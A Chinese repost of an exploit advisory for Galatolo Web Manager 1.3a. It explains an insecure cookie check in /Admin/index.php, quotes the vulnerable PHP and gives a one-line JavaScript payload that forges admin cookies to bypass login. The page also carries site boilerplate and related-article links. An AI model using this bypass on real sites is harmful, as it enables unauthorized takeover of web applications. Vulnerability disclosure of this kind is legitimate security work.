Galatolo Web Manager 1.3a Insecure Cookie Handling Vulnerability
Galatolo Web Manager 1.3a 不安全Cookie处理漏洞
Virangar 安全团队
www.virangar.net
www.virangar.ir
--------
发现者：virangar 安全团队 (hadihadi)
特别感谢：MR.nosrati, black.shadowes, MR.hesy, Zahra
以及所有virangar成员和所有黑客朋友们
致意：我在世界上最好的朋友 hadi_aryaie2004
以及我可爱的朋友 arash(imm02tal)
-------
漏洞描述：
Galatolo Web Manager 存在不安全的Cookie处理机制。当管理员登录成功后，脚本会创建一个Cookie，用于向管理后台的其他部分证明用户已登录。问题在于，这个Cookie不包含任何密码或类似的有效验证信息。因此，攻击者可以直接伪造一个管理员Cookie，让系统误认为我们是以合法管理员身份登录的。
---
漏洞代码位置：
文件：/Admin/index.php
关键代码片段如下：
if (grado($HTTP_COOKIE_VARS["gwm_user"],$HTTP_COOKIE_VARS["gwm_pass"]) == "admin" || grado($HTTP_COOKIE_VARS["gwm_user"],$HTTP_COOKIE_VARS["gwm_pass"]) == "editor" ){
top();
menu();
echo $wellcome_admin;
foot();
}
---
利用方式：
在浏览器地址栏或控制台执行以下Ja vaScript代码：
ja vascript:document.cookie = "gwm_user=admin; path=/"; document.cookie = "gwm_pass=admin; path=/";
-----
执行完毕后，直接访问 /admin 目录，即可获得管理员访问权限，进而管理整个CMS系统。
-------
年轻的伊朗黑客们
游乐网为非赢利性网站，所展示的游戏/软件/文章内容均来自于互联网或第三方用户上传分享，版权归原作者所有，本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容，请联系youleyoucom@outlook.com。
同类文章
Debian环境下Docker安全漏洞防范方法指南
在Debian系统下，Docker的安全防护虽然是个老话题，却始终需要高度警惕。先说几个核心判断：如果你的Docker容器使用root权限运行、镜像来源不明、系统一年不更新，那几乎等同于“裸奔”。下面这套方案虽然不是万能的，但足以抵挡绝大多数已知攻击路径。 1 定期更新系统和软件 保持系统与镜像始
深入解析Linux系统readdir安全漏洞的防范措施与技巧
Linuxreaddir函数存在路径遍历、信息泄露、竞争条件、缓冲区溢出、LD_PRELOAD劫持及权限问题等安全漏洞。防范需实施路径验证、最小权限原则、线程安全保护、缓冲区安全处理、日志审计、输入过滤、权限检查、限制目录深度及使用安全API等综合措施。
Linux syslog日志加密实现方法详解
Linux系统可利用Syslog-ng、rsyslog或Logrotate结合GnuPG对syslog日志进行AES256加密，需特别注意密钥安全管理、性能影响及加密日志的备份，从而有效防止敏感信息泄露。
Debian系统漏洞修复难点的深度解析与应对策略
Debian系统的漏洞修复看似简单，实际操作却充满挑战。核心难点主要集中在系统架构的复杂性、安全更新机制的独特性、用户的使用习惯，以及社区资源的局限性。即便是资深管理员，也常常在以上环节遇到棘手问题。 系统复杂性导致的修复难题 组件数量庞大： Debian系统包含成千上万个软件包，它们之间的依赖关系
Debian系统漏洞修复技巧从入门到精通实战指南
Debian系统漏洞修复需先更新系统并配置安全补丁仓库，可开启自动更新。针对特定漏洞单独修复，结合最小权限、强密码、防火墙与入侵检测，并定期备份数据。关注官方公告及使用扫描工具，对自定义应用进行代码审计。
- 日榜
- 周榜
- 月榜
相关攻略
2026-07-02 07:00
2026-07-02 07:00
2026-07-02 07:00
2026-07-02 07:00
2026-07-02 07:00
2026-07-02 07:00
2026-07-02 06:59
2026-07-02 06:59
热门教程
- 游戏攻略
- 安卓教程
- 苹果教程
- 电脑教程
热门话题
